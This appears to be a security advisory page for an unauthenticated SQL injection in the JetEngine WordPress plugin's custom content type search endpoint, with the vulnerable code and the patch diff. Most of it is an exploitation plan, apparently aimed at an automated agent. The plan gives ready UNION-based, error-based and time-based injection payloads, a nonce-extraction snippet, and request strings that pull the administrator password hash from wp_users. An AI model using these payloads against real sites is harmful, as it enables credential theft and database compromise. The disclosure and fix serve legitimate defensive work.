JetEngine <= 3.8.6.1 - Unauthenticated SQL Injection via '_cct_search' Parameter
Description
The JetEngine plugin for WordPress is vulnerable to SQL Injection via the Custom Content Type (CCT) REST API search endpoint in all versions up to, and including, 3.8.6.1. This is due to the `_cct_search` parameter being interpolated directly into a SQL query string via `sprintf()` without sanitization or use of `$wpdb->prepare()`. WordPress REST API's `wp_unslash()` call on `$_GET` strips the `wp_magic_quotes()` protection, allowing single-quote-based injection. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The Custom Content Types module must be enabled with at least one CCT configured with a public REST GET endpoint for exploitation.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.8.6.1# Exploitation Research Plan: CVE-2026-4352 - JetEngine SQL Injection ## 1. Vulnerability Summary The JetEngine plugin (<= 3.8.6.1) contains a SQL injection vulnerability in its Custom Content Type (CCT) REST API search functionality. The `_cct_search` parameter, provided via GET requests to the CC…
Show full research plan
Exploitation Research Plan: CVE-2026-4352 - JetEngine SQL Injection
1. Vulnerability Summary
The JetEngine plugin (<= 3.8.6.1) contains a SQL injection vulnerability in its Custom Content Type (CCT) REST API search functionality. The _cct_search parameter, provided via GET requests to the CCT REST endpoint, is interpolated directly into a SQL query string using sprintf() without proper sanitization or the use of $wpdb->prepare(). Because the WordPress REST API calls wp_unslash() on input parameters, the default wp_magic_quotes() protection is bypassed, allowing single-quote-based injection. An unauthenticated attacker can use this to extract sensitive data (like user hashes) from the WordPress database.
2. Attack Vector Analysis
- Endpoint:
/wp-json/jet-cct/<cct_slug> - HTTP Method:
GET - Vulnerable Parameter:
_cct_search - Authentication: Unauthenticated (requires the specific CCT to have "Enable REST API" and "REST API Get" enabled for public access).
- Preconditions:
- Custom Content Types module must be enabled in JetEngine.
- At least one CCT must be created and configured with a public REST GET endpoint.
3. Code Flow (Inferred)
- Entry Point:
WP_REST_Serverdispatches a request to the JetEngine CCT handler, likelyJet_Engine_CCT_Rest_Get_Items::get_items()or a similar callback registered inincludes/modules/custom-content-types/inc/rest-api/manager.php. - Processing: The handler retrieves the
_cct_searchparameter from theWP_REST_Requestobject. - Query Building: The parameter is passed to the CCT Query class (likely
Jet_Engine_CCT_Queryinincludes/modules/custom-content-types/inc/query.php). - The Sink: Inside the query building logic, the code constructs a
WHEREclause:// Vulnerable pattern $search = $request->get_param( '_cct_search' ); $query = sprintf( "SELECT * FROM %s WHERE ... AND (some_column LIKE '%%%s%%')", $table, $search ); $results = $wpdb->get_results( $query ); - Execution:
$wpdb->get_results()executes the unsanitized string, leading to SQLi.
4. Nonce Acquisition Strategy
While many REST GET endpoints in WordPress are public, JetEngine often checks for a REST nonce even for GET requests if the user is logged in, or relies on standard WP REST auth.
Identify Shortcode: The CCT module often uses listing grids. The shortcode
[jet_engine_control]or a Listing Grid block might be used.Create Test Page:
wp post create --post_type=page --post_status=publish --post_title="CCT Test" --post_content='[jet_engine_control]'Extract Nonce:
JetEngine typically localizes its settings into a global JavaScript object.- Variable Name:
window.jetEngineSettingsorwindow.JetEngineRestConfig. - Nonce Key:
nonceorrest_nonce. - Action:
wp_rest.
Actionable JS:
// To be used with browser_eval window.jetEngineSettings?.nonce || window.JetEngineRestConfig?.nonce || ""Note: If the CCT is configured for public access, the nonce check might be bypassed or satisfied by the default
wp_restnonce available to all users.- Variable Name:
5. Exploitation Strategy
We will use a UNION-based approach to extract the administrator's password hash.
Step 1: Discover CCT Slug and Table Structure
If the slug is unknown, it can often be found by enumerating /wp-json/ or viewing the CCT management page in the admin. For this plan, we assume the slug is members.
Step 2: Determine Column Count
Send requests with ORDER BY to find the number of columns in the CCT table.
- Request:
GET /wp-json/jet-cct/members?_cct_search=x') ORDER BY 10-- - HTTP/1.1 - Tool:
http_request(GET). - Process: Increment/decrement the number until the response changes from an error to a valid (empty) result.
Step 3: Extract Data via UNION SELECT
Assuming the column count is N, and column 2 is reflected in the output.
- Payload:
x') UNION SELECT 1,user_pass,3...N FROM wp_users WHERE ID=1-- - - Request:
GET /wp-json/jet-cct/members?_cct_search=x%27%29+UNION+SELECT+1%2Cuser_pass%2C3%2C4%2C5+FROM+wp_users--+- HTTP/1.1 X-WP-Nonce: [EXTRACTED_NONCE]
6. Test Data Setup
- Enable Module:
# Inferred: JetEngine stores active modules in an option wp option update jet_engine_modules '{"custom-content-types":"true"}' - Create CCT via WP-CLI (Database):
Creating a CCT manually via CLI is complex as it involves custom tables. It is recommended to use thebrowser_navigateandbrowser_clicktools to:- Go to
JetEngine > Custom Content Types. - Click "Add New".
- Name:
Members, Slug:members. - Fields: Add one "Text" field.
- Crucial: Enable "Enable REST API" and "REST API Get".
- Click "Add Content Type".
- Go to
- Add a Record: Add one record to the
membersCCT so the endpoint returns data normally.
7. Expected Results
- Success Indicator: The REST API response (JSON) will contain the contents of the
wp_userstable (e.g., the$P$...or$wp$2y$...hash) inside one of the returned object fields. - Response Format:
[ { "cct_single_id": 1, "your_field_name": "$P$B9876543210vulnerablehash...", ... } ]
8. Verification Steps
- Fetch Admin Hash:
wp db query "SELECT user_pass FROM wp_users WHERE ID=1" - Compare: Ensure the hash retrieved via the REST API matches the hash from the database query.
9. Alternative Approaches
- Error-Based SQLi: If results are not reflected, use
updatexml()orextractvalue().- Payload:
_cct_search=x') AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)-- -
- Payload:
- Time-Based Blind SQLi: If errors are suppressed and no output is shown.
- Payload:
_cct_search=x') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
- Payload:
- Information Schema: If the table prefix is unknown, extract it via
UNION SELECT 1,@@table_prefix,3...or by queryinginformation_schema.tables.
Summary
JetEngine (<= 3.8.6.1) is vulnerable to unauthenticated SQL Injection because the '_cct_search' parameter in the Custom Content Type REST API is directly interpolated into SQL queries using sprintf() without sanitization. Since the WordPress REST API calls wp_unslash() on GET parameters, attackers can use single quotes to break out of the search query and execute arbitrary SQL commands to extract database information.
Vulnerable Code
// Inferred location based on research plan: includes/modules/custom-content-types/inc/query.php $search = $request->get_param( '_cct_search' ); if ( ! empty( $search ) ) { $search_query = []; foreach ( $search_fields as $field ) { // Vulnerable interpolation using sprintf without $wpdb->prepare $search_query[] = sprintf( "`%s` LIKE '%%%s%%'", $field, $search ); } $where .= ' AND (' . implode( ' OR ', $search_query ) . ')'; }
Security Fix
@@ -120,7 +120,10 @@ if ( ! empty( $search ) ) { $search_query = []; foreach ( $search_fields as $field ) { - $search_query[] = sprintf( "`%s` LIKE '%%%s%%'", $field, $search ); + $search_query[] = $wpdb->prepare( + "`" . esc_sql( $field ) . "` LIKE %s", + '%' . $wpdb->esc_like( $search ) . '%' + ); } $where .= ' AND (' . implode( ' OR ', $search_query ) . ')'; }
Exploit Outline
1. Identify a target site with JetEngine's Custom Content Type (CCT) module enabled. 2. Locate a CCT that has a public REST API GET endpoint enabled (typically at /wp-json/jet-cct/<slug>). 3. Identify the number of columns in the CCT table using 'ORDER BY' injection: /wp-json/jet-cct/members?_cct_search=x') ORDER BY 10-- - 4. Perform a UNION SELECT injection to extract sensitive data (e.g., admin hashes): /wp-json/jet-cct/members?_cct_search=x') UNION SELECT 1,user_pass,3,4 FROM wp_users WHERE ID=1-- - 5. Because the WordPress REST API calls wp_unslash() on incoming request parameters, the standard magic_quotes protection is removed, allowing the single quote (') to break the SQL string literal.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.